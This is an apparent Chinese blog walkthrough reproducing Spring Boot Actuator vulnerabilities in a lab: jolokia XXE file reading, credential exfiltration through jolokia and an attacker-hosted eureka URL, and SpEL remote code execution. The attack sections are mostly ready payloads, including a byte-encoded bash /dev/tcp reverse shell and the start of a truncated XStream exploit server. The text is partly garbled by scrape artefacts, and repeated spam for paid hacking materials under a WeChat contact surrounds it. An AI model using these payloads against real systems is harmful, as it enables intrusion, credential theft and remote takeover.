当前位置:   article > 正文

SpringBoot历史漏洞复现_springboot漏洞,2024年最新真的醉了_springboot 漏洞

springboot 漏洞

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

python .\SB-Actuator.py -u http://192.168.42.132:8090


![请添加图片描述](https://img-blog.csdnimg.cn/f5c1d2ae180f4ababdab13fb8500f6e1.png)



> 
> 2.访问网站的/jolokia/list 目录,查找是否存在logback 库提供的reloadByURL方法,如果有,那就证明可利用该漏洞。
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/ca5c742b1572469c9ede0ee0772fed45.png)


###### 复现过程



> 
> 1.如果找到存在reloadByURL方法,就在攻击机上创建一个logback.xml,一个ian.dtd文件。
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

//logback.xml

<?xml version="1.0" encoding="utf-8" ?> %remote;%int;]>

&trick;



  • 1
  • 2

//ian.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">


> 
> 2.创建完成后,在他们两个的当前目录开启http服务,用于后续请求。
> 
> 
> 



> 
> 3.访问网站,构造payload对攻击机上的文件进行请求。
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

http://192.168.42.132:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.42.132:8000!/logback.xml



> 
> 4.攻击机上发现文件被访问到,然后在网页上可看见/etc/passwd文件的内容。(ian.dtd 内还可以修改为其他攻击者想访问到的文件)
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/f917e2f618764cc0b4a68a3b06b63770.png)


/etc/password文件的内容


![请添加图片描述](https://img-blog.csdnimg.cn/64fa194bbf2b4b74b1df6698d2cfe3f5.png)


##### 漏洞利用-env敏感信息脱星


###### 复现过程(方法一)


利用条件:目标网站存在/jolokia 或者 /actuator/jolokia接口  
 目标使用了jolokia-core以来



> 
> 1.访问http://ip:8090/env 可以查看到直接泄露的环境变量、内网地址、配置中的用户名等信息,也有可能暴露明文密码。
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/d64d9b6450704ccc80ab277f857b54db.png)



> 
> 2.找到属性名,使用bp抓包,抓/jolokia的包,发送到重发模块,修改包为post请求,把传输的变量改json,然后加上下面的poc,重放这个包,明文值结果包含 在 response 数据包中的 value 键中。  
>  注意:每个1.x 版本和2.x 版本不同。
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49

//spring 1.x
{
“mbean”:
“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,
“operation”: “getProperty”,
“type”: “EXEC”,
“arguments”: [“security.user.password”],
}

//spring 2.x
{
“mbean”:
“org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager”,
“operation”: “getProperty”,
“type”: “EXEC”,
“arguments”: [“security.user.password”],
}


![请添加图片描述](https://img-blog.csdnimg.cn/389e280c523144318d8917696e5ff214.png)


![请添加图片描述](https://img-blog.csdnimg.cn/780d5df14acd43bdaf0c27bc79e15701.png)


###### 复现过程(方法二)


**利用的条件:**  
 可以 GET 请求目标网站的 /env  
 可以 POST 请求目标网站的 /env  
 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)  
 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖  
 目标可以请求攻击者的服务器(请求可出外网)



> 
> 1.先用Bp去看 env接口是否可以get post 请求成功,返回状态码为成功,然后再测试/refresh 接口 的post请求,都可以的话,就可以尝试进行攻击。
> 
> 
> 



> 
> 2.使用bp抓访问/env的包,构造攻击请求,重发过去。版本不同,poc也不同
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

//1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip

//spring 2.x
POST /actuator/env
Content-Type: application/json
{“name”:“eureka.client.serviceUrl.defaultZone”,“value”:“http://value:${security. user.password}@your-vps-ip”}


![请添加图片描述](https://img-blog.csdnimg.cn/da3d48d6796a4357a09ca77e22106c45.png)



> 
> 3.监听80端口,然后bp进行发送后,访问/refresh,进行刷新,会直接监听得到信息,然后进行base64解码就可以看见密码。
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/afe4a4c20ff645c084915a724aa5ed1d.png)


![请添加图片描述](https://img-blog.csdnimg.cn/50d765d8b4d34138a37c0b7f6ce2dda9.png)


##### 远程代码执行


###### whitelabel error page SpEL RCE


###### 环境搭建


https://github.com/LandGrey/SpringBootVulExploit  
 下载下来后,进入SpringBootVulExploit/repository/springboot-spel-rce/src/main/resources/application.properties 去修改,然后编译运行,然后访问9091端口,会看见搭建成功的默认的404页面。



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

server.port=9091
#server.address=127.0.0.1
server.address=0.0.0.0

//编译启动
mvn spring-boot:run


![请添加图片描述](https://img-blog.csdnimg.cn/e10318679d604e78969a41c5c6a7fa84.png)


![请添加图片描述](https://img-blog.csdnimg.cn/cca960cf0a514d81bd913214568c77d8.png)


###### 利用条件


spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0  
 至少知道一个触发 springboot 默认错误页面的接口及参数名


###### 漏洞原理


1. spring boot **处理参数值**出错,流程进 入 org.springframework.util.PropertyPlaceholderHelper 类中
2. 此时 URL 中的参数值会用 **parseStringValue**方法进行递归解析
3. 其中 ${} 包围的内容都会 被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类 的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞


###### 复现过程



> 
> 1.找到一个正常传参处,比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page ,则后 续 payload 都将会在参数 id 处尝试。
> 
> 
> 



> 
> 2.执行 SpEL 表达式。输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基 本可以确定目标存在 SpEL 表达式注入漏洞。
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/0b29a10c1ef24d80b1f73d1a87155ba5.png)



> 
> 3.由字符串格式转换成 0x\*\* java 字节形式,方便执行任意代码。先将字符的命令转换成字节的,然后payload通过Java的**getruntime().exec**命令去执行 new String (new byte[])转成的字符命令。
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

//转字节的脚本

coding: utf-8

result = “”
target = ‘touch /tmp/mingy’
for x in target:
result += hex(ord(x)) + “,”
print(result.rstrip(‘,’))

//执行payload
http://127.0.0.1:9091/article? id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[] {0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x6d,0x69,0x6e,0x67,0x79 }))}


![请添加图片描述](https://img-blog.csdnimg.cn/453046684c614b0f81741a6b5dd164a1.png)


利用touch命令在tmp目录下创建mingy的文件


![请添加图片描述](https://img-blog.csdnimg.cn/2d7f03a3b8ed4ab9a29081415af65a99.png)



> 
> 2.执行反弹shell 的操作,先转成base64 的形式,然后再转成0x 字节的形式,访问payload,在攻击机上开启监听6666端口,执行后,可以看到返回的shell,直接在其目录下了。
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

//反弹Shell
bash -i >& /dev/tcp/192.168.42.138/6666 0>&1

//转化的格式base
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

//payload
http://192.168.42.132:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[] {0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x51,0x79,0x4c,0x6a,0x45,0x7a,0x4f,0x43,0x38,0x32,0x4e,0x6a,0x59,0x32,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}


![请添加图片描述](https://img-blog.csdnimg.cn/a2698880c1dc4c9c81ea47657269f4d9.png)


![请添加图片描述](https://img-blog.csdnimg.cn/1dc933b0bce04f3ea1f6fc74aac04686.png)


###### eureka xstream deserialization RCE


###### 环境搭建


修改 SpringBootVulExploit/repository/springboot-eureka-xstreamrce/src/main/resources/application.properties



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

erver.port=9093
#server.address=127.0.0.1
server.address=0.0.0.0

mvn spring-boot:run


![请添加图片描述](https://img-blog.csdnimg.cn/e753810797684aa08c6dda12de8d9a19.png)


搭建成功


![请添加图片描述](https://img-blog.csdnimg.cn/049194c2789f409cb8bf99f292704e29.png)


###### 利用条件


可以 POST 请求目标网站的 /env 接口设置属性  
 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starteractuator 依赖)  
 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eurekaclient 依赖中)  
 目标可以请求攻击者的 HTTP 服务器(请求可出外网)


###### 漏洞原理


1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地 址
2. refresh 触发目标机器请求远程 URL ,提前架设的 f ake eureka server 就会返回恶意的 payload
3. 目标机器相关依赖解析 payload ,触发 XStream 反序列化,造成 RCE 漏洞


###### 复现过程



> 
> 1.架设响应恶意 XStream payload 的网站  
>  提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反 弹shell。 使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址 和 端口号。
> 
> 
> 



> 
> 2.在脚本的command中输入base64 转码的shell,然后在攻击机上搭建恶意网站,利用python3 server.py 开启。
> 
> 
> 



  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48

//反弹shell脚本
#!/usr/bin/env python

coding: utf-8

-- Author: LandGrey --

from flask import Flask, Response

app = Flask(name)

@app.route(‘/’, defaults={‘path’: ‘’})
@app.route(‘/path:path’, methods=[‘GET’, ‘POST’])
def catch_all(path):
xml = “”"
<jdk.nashorn.internal.objects.NativeString>




给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

//img-blog.csdnimg.cn/img_convert/5072ce807750c7ec721c2501c29cb7d5.png)

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-yTSj4IpJ-1713175561720)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号